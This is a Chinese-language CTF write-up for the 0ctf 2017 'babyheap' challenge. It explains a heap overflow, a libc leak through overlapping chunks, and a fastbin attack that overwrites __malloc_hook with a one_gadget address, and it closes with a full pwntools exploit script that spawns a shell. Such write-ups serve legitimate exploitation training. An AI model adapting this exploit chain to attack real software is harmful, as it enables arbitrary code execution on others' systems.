分析
一道很适合初学者的heap题,方法应该是特别多的。
ida x64反编译:
先看allocate函数:
大概可以还原出数据元素的结构:
1 2 3 4 5
| struct Ele{ long long vis; long long size; malloc_chunk * chunk_addr; };
|
值得注意的一点是,这里在申请内存的时候使用的是calloc(),也就是说,会把userdata都清空为’\x00’。
所以后面去制造堆块的重叠的时候需要修复chunkheader。
再分析一下fill函数:
很明显,只检查了越界,但是没有检查是否溢出。
free函数:
没有uaf。
最后看dump函数:
输出的长度是取决于创建heap的时候记下来的那个size。
没有看到system之类的函数,所以应该需要leak一下libc了。
那么做题可以分为两大步骤:
1.Leak libc
基本的思路就是利用被放到unsorted bin或small bin的双链表里时,只有一个chunk的时候,他的fd和bk都指向libc里的bins数组的某个头结点处(因为主线程的mainarena是libc上的静态变量,所以是可以用来leak基址的)
所以一定要让某一个堆块可以把这个fd或bk给打印出来,这里就可以利用堆块重叠来实现。
我这里是先申请了一个0x71的chunk和一个0x51的chunk,然后又申请了一个0x111的chunk。
再利用第一个chunk溢出到第二个chunk,将他的size修改成0x71,这样就能覆盖到那个0x111的chunk的header了。
但是查看heap的时候会发现,改掉了第二个chunk之后,下一个chunk的位置会被识别到第二个chunk现在的size后面的位置,这个时候那里的size就是0x0
在init_free()里有一个检查机制就是,free的时候下一个chunk的大小不能小于2*SIZE_SZ(这里是0x10),
所以我们在free掉第二个chunk的时候还需要用第三个chunk去修复一下下面那个假chunk的头。
修复好了之后就可以free掉第二个chunk了。(free掉他是为了重新申请一个真正的0x71的chunk,因为打印的长度是在申请的时候确定的,原来那个chunk并不能把后面leak出来的libc地址打印出来)
因为使用的是calloc(),所以还需要去把0x111那个chunk的头给修复了。
然后还需要再随便申请一个chunk,防止0x111那个chunk被free的时候直接合并到topchunk里去了。
这样,main_arena+0x58的地址就被leak出来了。libc基址就到手了。
偏移的话,就用vmmap去算,很方便(感谢eeee师傅提供的帮助)
2.Get shell
保护是全开了的,所以没法改got表,但是__malloc_hook是能利用的。
1 2 3 4 5 6 7 8
| void *__libc_malloc(size_t bytes) { mstate ar_ptr; void * victim; void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook); if (__builtin_expect(hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS(0));
|
大概原理就是,在调用__libc_malloc()的时候,如果有钩子函数的话,就会直接调用。
所以利用fastbin attack去把shell的地址写到__malloc_hook那里。(shell的话,这里是用one_gadget找的)
free掉下标为1的chunk,用下标为0的chunk去修改那个chunk的fd指针,尽量往__malloc_hook前面找
这里是在<__malloc_hook-23>的位置找到了一个合适的fake_chunk。
再申请到的第二个0x71的chunk就会是这个位置。到时候直接把one_gadget的地址写到__malloc_hook就完事了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * context.log_level = 'debug' elf = ELF('./babyheap_0ctf_2017') libc = ELF('./libc-2.23.so')
p = process('./babyheap_0ctf_2017')
def choice(idx): p.recvuntil('mand: ') p.sendline(str(idx))
def allocate(sz): choice(1) p.recvuntil('ze: ') p.sendline(str(sz))
def fill(idx, sz, content): choice(2) p.recvuntil('dex: ') p.sendline(str(idx)) p.recvuntil('ze: ') p.sendline(str(sz)) p.recvuntil('tent: ') p.send(content)
def free(idx): choice(3) p.recvuntil('dex: ') p.sendline(str(idx))
def dump(idx): choice(4) p.recvuntil('dex: ') p.sendline(str(idx))
allocate(0x60) allocate(0x40) allocate(0x100) pay = b'a'*0x60 + p64(0) + p64(0x71) fill(0, len(pay), pay)
pay = b'b'*0x10 + p64(0) + p64(0x71) fill(2, len(pay), pay) free(1)
allocate(0x60) pay = b'c'*0x40 + p64(0) + p64(0x111) fill(1, len(pay), pay)
allocate(0x20) free(2) dump(1) p.recvline() p.recv(0x58) main_arena = u64(p.recvline()[:-1])
base = main_arena - 0x3c4b78 malloc_hook = libc.symbols['__malloc_hook'] + base one_gadget = base + 0x4526a
print(hex(malloc_hook))
free(1) pay = b'a'*0x60 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) + p64(0) fill(0, len(pay), pay) allocate(0x60) allocate(0x60)
pay = b'a'*0x13 + p64(one_gadget) fill(2, len(pay), pay) allocate(0x20)
p.interactive()
|